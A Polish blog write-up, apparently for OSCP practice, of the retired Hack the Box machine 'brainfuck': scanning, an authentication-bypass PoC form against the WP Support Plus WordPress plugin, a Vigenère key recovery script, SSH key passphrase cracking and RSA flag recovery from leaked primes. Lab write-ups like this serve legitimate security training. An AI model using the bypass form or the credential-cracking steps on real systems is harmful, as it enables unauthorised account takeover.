Podobno człowiek najlepiej uczy się poprzez praktykę. Kierując się tą zasadą, postanowiłem stworzyć serię, dokumentującą przygotowania do egzaminu OSCP. Czym jest OSCP? Offensive Security Certified Professional to certyfikat etycznego hackingu stworzony przez firmę Offensive Security. Obejmuje on metodologie testów penetracyjnych z wykorzystaniem narzędzi dostępnych w systemie Kali Linux (jest on również rozwijany przez tą samą organizację).
Środowiska
Ze względu na duże restrykcje publikowania materiałów dotyczących certyfikatu, nie mógłbym opisywać oficjalnych środowisk dostarczonych przez Offensive Security. Na ratunek przychodzą strony typu Hack the Box i TryHackMe. Oferują one wiele maszyn podobnych do tych, obecnych na egzaminie. Skupię się jednak tylko na tym pierwszym portalu. Lista boxów na dzień 02.03.2021 przedstawiona jest na grafice poniżej. Część z nich posiada już status retired, co znaczy, że punkty za ich rozwiązanie nie są wliczane do wyniku w profilu użytkownika i mogą być dostępne tylko dla posiadaczy konta VIP. Patrząc jednak na renomę OSCP, warto zakupić chociaż miesięczny pakiet w HTB, żeby poćwiczyć przed egzaminem.

Box - w terminologii HTB jest to podatna maszyna udostępniona użytkownikowi
Dobrą praktyką jest tworzenie tzw. write-upów w trakcie pokonywania maszyn.
Write-up - w tym kontekście jest to instrukcja włamania do danej maszyny
Szczegóły boxa
Nazwa | Status | Trudność | IP |
---|---|---|---|
brainfuck | retired | 6.6/10 | 10.10.10.17 |
Write-up
Analizę rozpoczynam od skanu narzędziem nmap. Należy sprawdzić działające usługi i wszystkie otwarte porty. Można to wykonać następującymi poleceniami:
$ nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.17
$ sudo nmap -p- --min-parallelism 100 -sS -sU --min-rate 5000 \
-oN nmap/nmap-all 10.10.10.17
Wykorzystane zostały następujące parametry:
-sC
- wykonaj najbardziej popularne skrypty NSE-sV
- wykryj wersję usług-oA
- zwróć rezultaty we wszystkich dostępnych formatach (xml,ScRipT KIdd|3
, format grepowalny, normalny)-p-
- skanuj wszystkie porty--min-parallelism
- zmień ilość równoległych próbek-sS
- ustaw typ skanu na TCP SYN-sU
- ustaw typ skanu na UDP--min-rate
- wysyłaj więcej pakietów na sekundę niż podana wartość-oN
- zwróć rezultat w formacie normalnym
Wyniki skanów zostaną zapisane w folderze nmap
. Można w nich zauważyć, że otwartych jest tylko 5 portów:
Port | Usługa | Wersja |
---|---|---|
22 | SSH | OpenSSH 7.2p2 |
25 | smtp | Postfix smtpd |
110 | pop3 | Devecot pop3d |
143 | imap | Devecot imapd |
443 | ssl/http | nginx 1.10.0 |
Wnioski:
- na boxie działa serwer pocztowy (patrz wiersz 2,3,4 tabeli zawierającej otwarte porty)
- dostępna wersja SSH na pierwszy rzut oka nie posiada poważnych błędów umożliwiających obejście zabezpieczeń
- certyfikat SSL wydany został dla domen:
brainfuck.htb
,www.brainfuck.htb
isup3rs3cr3t.brainfuck.htb
443/tcp open ssl/http nginx 1.10.0 (Ubuntu)
.
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
.
Należy edytować plik odpowiedzialny za rozpoznawanie nazw domenowych w Linuxie /etc/hosts
, uzupełniając go o wartości z certyfikatu. Dzięki temu możemy wejść pod dany adres z poziomu przeglądarki.

Wordpress
Po otwarciu pierwszej z domen (https://brainfuck.htb
) i zaakceptowaniu zagrożenia, ukazuje się strona startowa informująca, że jest to witryna bazująca na Wordpressie.

Wordpress wraz z dodatkami ma to do siebie, że jest dziurawy bardziej niż tradycyjny, szwajcarski ser. Do zweryfikowania tej instancji wykorzystane zostaje narzędzie wpscan
$ wpscan --url https://brainfuck.htb/ --api-token REDACTED --disable-tls-checks
.
.
.
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
| Fixed in: 8.0.0
| References:
| - https://wpscan.com/vulnerability/b1808005-0809-4ac7-92c7-1f65e410ac4f
| - https://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
| - https://packetstormsecurity.com/files/140413/
|
| [!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
| Fixed in: 8.0.8
| References:
| - https://wpscan.com/vulnerability/85d3126a-34a3-4799-a94b-76d7b835db5f
| - https://plugins.trac.wordpress.org/changeset/1763596
|
| Version: 7.1.3 (100% confidence)
.
.
.
W oczy rzucają się dwie podatności - Privilege Escalation (eskalacja uprawnień) i RCE (zdalne wykonanie kodu). Wykorzystana zostanie pierwsza z nich (odkryta przez polskiego badacza bezpieczeństwa Kacpra Szurka). Znaleźć ją można z wykorzystaniem narzędzia searchsploit
, będącego konsolowym programem do przeglądania bazy exploit.db
(rozwijanej przez Offensive Security).
$ searchsploit WP Support Plus Responsive Ticket
-------------------- ---------------------------------
Exploit Title | Path
-------------------- ---------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation | php/webapps/41006.txt
-------------------- ---------------------------------
$ searchsploit -x 41006
# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
# Date: 10-01-2017
# Software Link: https://wordpress.org/plugins/wp-support-plus-responsive-ticket-system/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: web
1. Description
You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().
http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html
2. Proof of Concept
<form method="post" action="http://wp/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="administrator">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Then you can go to admin panel.
Należy edytować formularz z dostarczonego PoC i dostosować go do swoich potrzeb. W tym przypadku trzeba zmienić adres URL panelu administratora Wordpress oraz adres email. Do tej pory znany jest tylko URL. Skąd wziąć email? Tak się składa, że to również znajduje się na stronie http://brainfuck.htb
. Znaleźć możemy tam wpis użytkownika admin
, proszącego o kontakt pod adresem orestis@brainfuck.htb
.

PoC - (ang. Proof of Concept) jest to fragment kodu mający za zadanie zademonstrować działanie pewnej funkcjonalności lub programu
Kod po edycji prezentuje się następująco:
<form method="post" action="https://brainfuck.htb//wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="orestis@brainfuck.htb">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
</form>
Zapisujemy go jako index.html
i wykonujemy w konsoli proste polecenie uruchamiające serwer HTTP w aktualnym folderze:
$ python3 -m http.server 8001
Wchodzimy w przeglądarce pod adres http://localhost:8001
i klikamy dostępny przycisk Login
.

Po chwili odświeżamy główną stronę http://brainfuck.htb
gdzie zostajemy automatycznie zalogowani jako użytkownik admin
.

Przechodzimy do panelu Wordpressa poprzez przycisk Edit my profile
. W menu pluginów można zauważyć, że zainstalowany jest dodatek Easy WP SMTP
. Wchodzimy do jego ustawień, gdzie powinna znajdować się konfiguracja serwera pocztowego. Hasło SMTP jest jednak zamaskowane…co można łatwo obejść podglądając kod strony.



Klient IMAP
Wykorzystując dowolnego klienta pocztowego, łączymy się z serwerem z wykorzystaniem znalezionych danych. W moim przypadku wykorzystałem odpowiednio skonfigurowanego Thunderbirda (popularny klient poczty email na systemy Linux).


Natychmiast po zapisaniu ustawień pojawia się wiadomość w skrzynce. Zawiera ona dane logowania do sekretu.

Tu należy cofnąć się do wyników skanu nmapem, gdzie odkryta została subdomena sup3rs3cr3t.brainfuck.htb
. Wchodzimy na nią i od razu logujemy się pozyskanym loginem i hasłem. Uzyskujemy w ten sposób dostęp do nowych wątków na forum - przed zalogowaniem widoczny jest tylko Development


Zaszyfrowany wątek
W SSH Access znaleźć można rozmowę między administratorem, a użytkownikiem orestis
, który informuje w agresywny sposób o utracie klucza ssh i żąda wydania nowego. Orestis otwiera nowy, zaszyfrowany wątek, w którym przekazane zostaną kolejne wiadomości. Tu należy zwrócić uwagę na podpis pod każdym wpisem naszego użytkownika - Orestis - Hacking for fun and profit
. Ta informacja przyda się później.
Zaszyfrowany wątek o nazwie Key zawiera coś co na pierwszy rzut oka przypomina zbiór losowych liter. Jest to tzw. Szyfr Vigenère’a. W dużym uproszczeniu, polega on na przesunięciu liter tekstu jawnego, względem klucza o takiej samej długości (jeśli klucz jest krótszy, to wykorzystana zostaje jego wielokrotność). Tu przyda się podpis użytkownika zapisany wcześniej. Można go znaleźć w analizowanym wątku, ale nie w jawnej postaci - np. Wejmvse - Fbtkqal zqb rso rnl cwihsf
. W celu odnalezienia klucza napisałem prosty kod w języku Python. Dla ułatwienia usunąłem znaki niebędące literami.
plain = "OrestisHackingforfunandprofit"
encode = "WejmvseFbtkqalzqbrsornlcwihsf"
key = str()
for (l1, l2) in zip(plain, encode):
n = ((ord(l2) - ord(l1)) % 26) + 97
key += chr(n)
print(key)
Po jego wykonaniu otrzymujemy ciąg infuckmybrainfuckmybrainfuckm
. Biorąc pod uwagę, że zastosowana została prawdopodobnie wielokrotność klucza, to możemy bezpiecznie założyć, że jego oryginalna postać to fuckmybrain
. W tym momencie możemy wykorzystać dowolne narzędzie online do deszyfrowania (np. CyberChef) i odkryć tekst jawny.

Łamanie hasła
Jeden z wpisów na forum zawiera adres URL do pliku id_rsa będącego nowym kluczem prywatnym użytkownika orestis
. Jednak aby móc zalogować się z jego wykorzystaniem poprzez SSH, należy złamać hasło klucza (ang. passphrase). Można użyć w tym celu programu John the Ripper (np. w dedykowanym środowisku przygotowanym do łamania haseł)

Z wykorzystaniem słownika rockyou
złamano hasło - 3poulakia!
Mając passphrase do klucza SSH, można zalogować się wykorzystując otwarty port 22.
$ chmod 600 id_rsa
$ ssh orestis@10.10.10.17 -i id_rsa
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
You have mail.
Last login: Wed May 3 19:46:00 2017 from 10.10.11.4
orestis@brainfuck:~$
Eskalacja uprawnień
Po zalogowaniu jako zwykły użytkownik, należy odczytać zawartość pliku /root/root.txt
. Wiąże się to najcześciej z koniecznością uzyskania uprawnień roota, lecz ta maszyna jest inna. W folderze domowym użytkownika znajduje się kilka plików. Jednym z nich jest encrypt.sage
, który jest tak naprawdę kodem w języku Python, wykonującym szyfrowanie RSA na pliku /root/root.txt
.
orestis@brainfuck:~$ ls -l
total 20
-rw------- 1 orestis orestis 619 Apr 29 2017 debug.txt
-rw-rw-r-- 1 orestis orestis 580 Apr 29 2017 encrypt.sage
drwx------ 3 orestis orestis 4096 Apr 29 2017 mail
-rw------- 1 orestis orestis 329 Apr 29 2017 output.txt
-r-------- 1 orestis orestis 33 Apr 29 2017 user.txt
orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')
Działanie tego programu opiera się na kilku krokach:
- odczytaj plik
/root/root.txt
i zakoduj jego zawartość w parametrzem
- zaszyfruj zawartość zmiennej
m
i wpisz ją do plikuoutput.txt
- zapisz zmienne
p
,q
ie
do plikudebug.txt
Znając jednak te 3 zmienne i wartość tekstu zaszyfrowanego, możemy odtworzyć mechanizm RSA. Wykorzystany został kod stworzony przez jednego z użytkowników portalu stackoverflow, z drobną zmianą - dodałem wypisywanie poprawnie flagi na ekran:
out = str(hex(plain_text)[2:-1])
print out.decode("hex")
Tym sposobem otrzymujemy również zawartość pliku /root/root.txt
i box brainfuck
zostaje ukończony.